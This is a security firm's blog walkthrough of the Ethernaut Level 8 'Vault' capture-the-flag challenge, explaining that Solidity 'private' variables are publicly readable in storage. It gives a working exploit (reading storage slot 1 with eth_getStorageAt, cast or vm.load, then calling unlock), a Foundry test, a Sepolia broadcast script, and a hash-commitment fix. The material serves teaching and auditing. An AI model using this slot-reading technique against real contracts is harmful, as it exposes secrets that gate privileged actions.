← Back to blog
Mike B. - SecLat SecuritySeptember 14, 2026

Ethernaut Level 8 Walkthrough: Reading Private Storage in Solidity

In this article, we will analyze and solve Ethernaut Level 8: Vault.

Reading time: ~7 min

This level looks unbreakable at first glance: a password sits behind a private state variable, and the only function that uses it just compares it to whatever you pass in. There is no getter, no leak in the ABI, nothing a block explorer's "Read Contract" tab will show you. The password is exposed anyway, because private is a Solidity-only concept. It has no meaning at the EVM level.

Beyond solving the challenge, we will cover:

  • What private actually restricts, and what it does not
  • How Solidity lays out state variables into storage slots
  • How to read any contract's raw storage directly from an RPC node
  • Why "it's private" is never a security control on a public blockchain

Challenge Description

The Vault contract stores a password set once in its constructor and exposes a single function, unlock, that compares a supplied value against it. If they match, the vault flips from locked to unlocked.

The goal of the challenge is:

Unlock the vault.

Vulnerability Classification

CategoryValue
Vulnerability:Sensitive data stored in plain, readable contract storage
Root Cause:private only blocks other contracts from calling a getter; it does not encrypt or hide the underlying storage slot
Impact:Full disclosure of a secret meant to gate a privileged action
Severity:Critical for any protocol that treats on-chain storage as confidential
Attack Type:Direct storage slot read

Vulnerable Contract Analysis

This is the vulnerable contract used in the challenge:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Vault {
    bool public locked;
    bytes32 private password;

    constructor(bytes32 _password) {
        locked = true;
        password = _password;
    }

    function unlock(bytes32 _password) public {
        if (password == _password) {
            locked = false;
        }
    }
}

Root Cause of the Vulnerability

The vulnerability is not a coding mistake in the traditional sense. Vault does everything a developer might expect from "hiding" a value:

bytes32 private password;

private does exactly one thing in Solidity: it prevents other contracts, and any code outside this contract, from reading password through a Solidity-level call or an auto-generated getter. It is a compiler-enforced visibility rule, nothing more.

It says nothing about the Ethereum Virtual Machine. Every contract's storage lives in a set of numbered 32-byte slots, and that data is part of the public state of the blockchain. Any full node, any RPC provider, any block explorer can return the raw contents of any slot for any contract, with no special permission and no code execution required.

Vault declares two state variables in order:

  1. bool public locked; → occupies slot 0
  2. bytes32 private password; → occupies slot 1

Slot 1 holds the exact 32 bytes passed into the constructor. Reading it back is not an exploit against Vault's logic. It is a direct read of data that was never actually confidential.

The lesson here is blunt:

private and internal are access-control keywords for Solidity code. They are not encryption, and they provide zero confidentiality against anyone inspecting the chain directly.

Understanding Solidity Storage Layout

  1. Solidity assigns each contract's state variables to sequential 32-byte storage slots, starting at slot 0, in declaration order.
  2. Simple value types smaller than 32 bytes can be packed together into a single slot if they fit, but bool locked here takes its own slot because the next variable, bytes32, needs a full slot and packing rules don't merge them in this layout.
  3. password, declared right after locked, lands in slot 1.
  4. This layout is deterministic and fully specified by the Solidity compiler. Anyone who knows (or reads) the contract's source can compute exactly which slot holds which variable.
  5. Reading any slot of any contract is a first-class RPC operation, eth_getStorageAt, that requires no authentication and triggers no code execution on the target contract.
Vault contract storage layout
Slot 0 -> bool    locked    (packed alone: next var needs a full slot)
Slot 1 -> bytes32 password  (the "private" value, fully readable)

Attacker / anyone
   |
   | eth_getStorageAt(vault_address, 1)
   v
Raw 32 bytes returned directly by the RPC node
   |
   v
That value IS the password. No contract call needed.

private state variables leaking through direct storage reads is not a one-off curiosity. It is a well-documented class of bugs behind real incidents where projects stored commit-reveal secrets, whitelist seeds, or even encryption keys directly in contract storage, assuming visibility modifiers offered confidentiality they never provided.

Why Is On-Chain Privacy an Illusion?

  • private and internal protect the ABI, not the chain. They stop MyContract(target).password() from compiling, and they stop an inherited contract from silently reading a parent's variable it shouldn't. Neither restriction survives a direct storage read.
  • Everything written to storage is public forever, including values later overwritten. Even after password changes, the old value is still retrievable from historical state via an archive node.
  • Packing does not add security. Multiple small variables sharing a slot are just as readable; you simply need to mask the correct byte range after reading the slot.
  • The only real primitive for on-chain secrecy is cryptography, not visibility. Commit-reveal schemes, hashes, and off-chain computation with on-chain verification (including zero-knowledge proofs) are the actual tools for keeping a value confidential while still being verifiable on-chain.

Attack Strategy

What we know:

  1. unlock(_password) compares its argument against password using ==, with no rate limiting or access control on the comparison itself.
  2. password lives in storage slot 1, since it's the second state variable declared.
  3. Storage is public chain data, readable via eth_getStorageAt regardless of Solidity's private keyword.

Our strategy:

  1. Read raw storage slot 1 of the Vault instance directly from the RPC node.
  2. That value is the password, in its exact bytes32 form.
  3. Call unlock(password) from our own account with the value we just read.
  4. locked flips to false. No attacker contract, no transaction beyond a normal function call, is needed.

Solution

This level does not require deploying an attacker contract. The entire exploit is a storage read followed by a direct call.

From the browser console, connected to the Ethernaut instance:

const password = await web3.eth.getStorageAt(contract.address, 1);
await contract.unlock(password);

await contract.locked();

The same read from a shell, using Foundry's cast:

cast storage <VAULT_INSTANCE_ADDRESS> 1 --rpc-url $SEPOLIA_RPC

And the equivalent inside a Foundry test or script, using the vm.load cheatcode:

bytes32 password = vm.load(address(instance), bytes32(uint256(1)));
instance.unlock(password);

How the Exploit Works

First, we identify which slot holds password. Vault declares locked (slot 0) and then password (slot 1), so no guessing is involved, just reading the contract's own source.

Then, we query that slot directly. vm.load (in Foundry) and eth_getStorageAt (at the RPC level) both do the same thing: return the raw 32 bytes stored at that slot for that address, completely bypassing Solidity's visibility rules, because those rules never existed at this layer.

Next, we call unlock, passing the exact bytes we just read as _password. Inside the contract, password == _password evaluates to true, since we supplied the actual stored value.

Finally, locked is set to false. The level's win condition, !instance.locked(), is satisfied, with the "private" password never having been protected from anyone willing to read the chain's raw state.

Validating the Exploit with Foundry

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "forge-std/Test.sol";
import {Utils} from "test/utils/Utils.sol";
import {Vault} from "src/levels/Vault.sol";
import {VaultFactory} from "src/levels/VaultFactory.sol";
import {Level} from "src/levels/base/Level.sol";
import {Ethernaut} from "src/Ethernaut.sol";

contract TestVault_L8 is Test, Utils {
    Ethernaut ethernaut;
    Vault instance;

    address payable owner;
    address payable player;

    function setUp() public {
        address payable[] memory users = createUsers(2);

        owner = users[0];
        vm.label(owner, "Owner");

        player = users[1];
        vm.label(player, "Player");

        vm.startPrank(owner);
        ethernaut = getEthernautWithStatsProxy(owner);
        VaultFactory factory = new VaultFactory();
        ethernaut.registerLevel(Level(address(factory)));
        vm.stopPrank();

        vm.startPrank(player);
        instance = Vault(payable(createLevelInstance(ethernaut, Level(address(factory)), 0.001 ether)));
        vm.stopPrank();
    }

    function testInit() public {
        vm.startPrank(player);
        assertFalse(submitLevelInstance(ethernaut, address(instance)));
        vm.stopPrank();
    }

    function testSolve() public {
        vm.startPrank(player);

        // password is declared private, but "private" only restricts
        // Solidity-level access. Storage is public data on chain: slot 0
        // holds locked (bool), slot 1 holds password (bytes32).
        bytes32 password = vm.load(address(instance), bytes32(uint256(1)));
        instance.unlock(password);

        assertFalse(instance.locked());
        assertTrue(submitLevelInstance(ethernaut, address(instance)));

        vm.stopPrank();
    }
}

Running the Test

source .env
forge test --match-path test/Solutions/Vault_L8.t.sol --match-test testSolve --fork-url $SEPOLIA_RPC -vvv

Make sure .env defines SEPOLIA_RPC and, for the live script below, PK. Never commit .env to version control.

Solving the Level on Sepolia

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;

import {Script} from "forge-std/Script.sol";
import {Vault} from "src/levels/Vault.sol";
import {console} from "forge-std/console.sol";

contract VaultScript is Script {
    Vault public target;

    function setUp() public {
        target = Vault(payable("0xYourEthernautInstance"));
    }

    function run() public {
        uint256 pk = vm.envUint("PK"); // Private Key from .env to sign the Tx

        // password is private in Solidity, not in storage. Slot 0 holds
        // locked (bool), slot 1 holds password (bytes32). vm.load reads
        // raw storage directly from the RPC, no access control applies.
        bytes32 password = vm.load(address(target), bytes32(uint256(1)));

        vm.startBroadcast(pk);
        target.unlock(password);
        vm.stopBroadcast();

        console.log("Vault locked:", target.locked());
    }
}

Running the Script

source .env
forge script scripts/Vault.s.sol --rpc-url $SEPOLIA_RPC

Once the dry run compiles cleanly and you have replaced 0xYourEthernautInstance with your actual instance address, broadcast it:

forge script scripts/Vault.s.sol --rpc-url $SEPOLIA_RPC --broadcast --interactives 1 -vvv

How to Prevent Exposing Secrets in Storage

The vulnerable pattern is storing a secret in plain storage and relying on private for confidentiality:

// Vulnerable: password sits in plain, readable storage
bytes32 private password;

function unlock(bytes32 _password) public {
    if (password == _password) {
        locked = false;
    }
}

The fix is to never assume Solidity visibility hides on-chain data. If a value must gate an action and be verified on-chain, store a commitment to it instead of the value itself, and verify the reveal cryptographically:

// Corrected: store a hash commitment, never the secret itself
bytes32 private passwordHash;

constructor(bytes32 _passwordHash) {
    passwordHash = _passwordHash; // computed off-chain as keccak256(password)
    locked = true;
}

function unlock(bytes32 _password) public {
    require(keccak256(abi.encodePacked(_password)) == passwordHash, "wrong password");
    locked = false;
}

This still leaks the password the moment unlock is called with it, since calldata is public too, but it removes the always-on exposure of storing the raw value before it is ever used. For anything that must stay confidential even during use, on-chain storage is the wrong tool entirely; reach for commit-reveal with a time delay, off-chain signing with on-chain verification, or zero-knowledge proofs that let a contract verify a claim without ever seeing the underlying secret.

Lessons Learned

  • private and internal are Solidity compiler concepts. They restrict what other contracts can call, not what is visible on the blockchain.
  • Every byte written to contract storage is public, permanently, and readable by anyone with RPC access, no special tooling required.
  • Storage slot order is fully determined by variable declaration order, which makes locating any specific value a matter of reading the source, not guessing.
  • If a value must be genuinely confidential, do not put it in contract storage at all. Use hashing, commit-reveal, or off-chain secrets with on-chain verification instead.
  • Auditors should flag any state variable marked private or internal whose confidentiality the protocol's security model actually depends on.

Conclusion

Ethernaut Level 8 teaches a lesson that trips up developers who are new to how public blockchains actually work: there is no such thing as a private value in contract storage. Vault's password was never protected, it was just formatted the way a database column named "password" might be, and treated as if that formatting carried the same guarantees a database's access control does.

Any protocol storing secrets, whitelist data, or unrevealed commitments in contract storage needs to assume that data is public from the moment it is written. This walkthrough covered:

  • What private and internal actually restrict, and what they don't
  • How Solidity assigns state variables to storage slots
  • How to read raw contract storage directly, with cast, vm.load, or eth_getStorageAt
  • How to defend against this with hash commitments instead of raw secrets

If you are building or reviewing contracts that store anything meant to stay confidential, this is exactly the kind of assumption we stress-test in a professional audit.


Read more Ethernaut walkthroughs on the SECLAT blog.

Need a security audit for your smart contracts? Talk to SECLAT.

SECLAT - Security & Audit

SECLAT - Expertos en seguridad blockchain y auditorías de contratos inteligentes.

Estadísticas Clave

200+
Contratos Auditados
0
Incidentes Críticos
20+
Clientes Satisfechos
$100M+
Protegidos

Contactanos

Si buscas una auditoría de seguridad o una consulta, Contactanos.

© 2026 SECLAT Security. Todos los derechos reservados.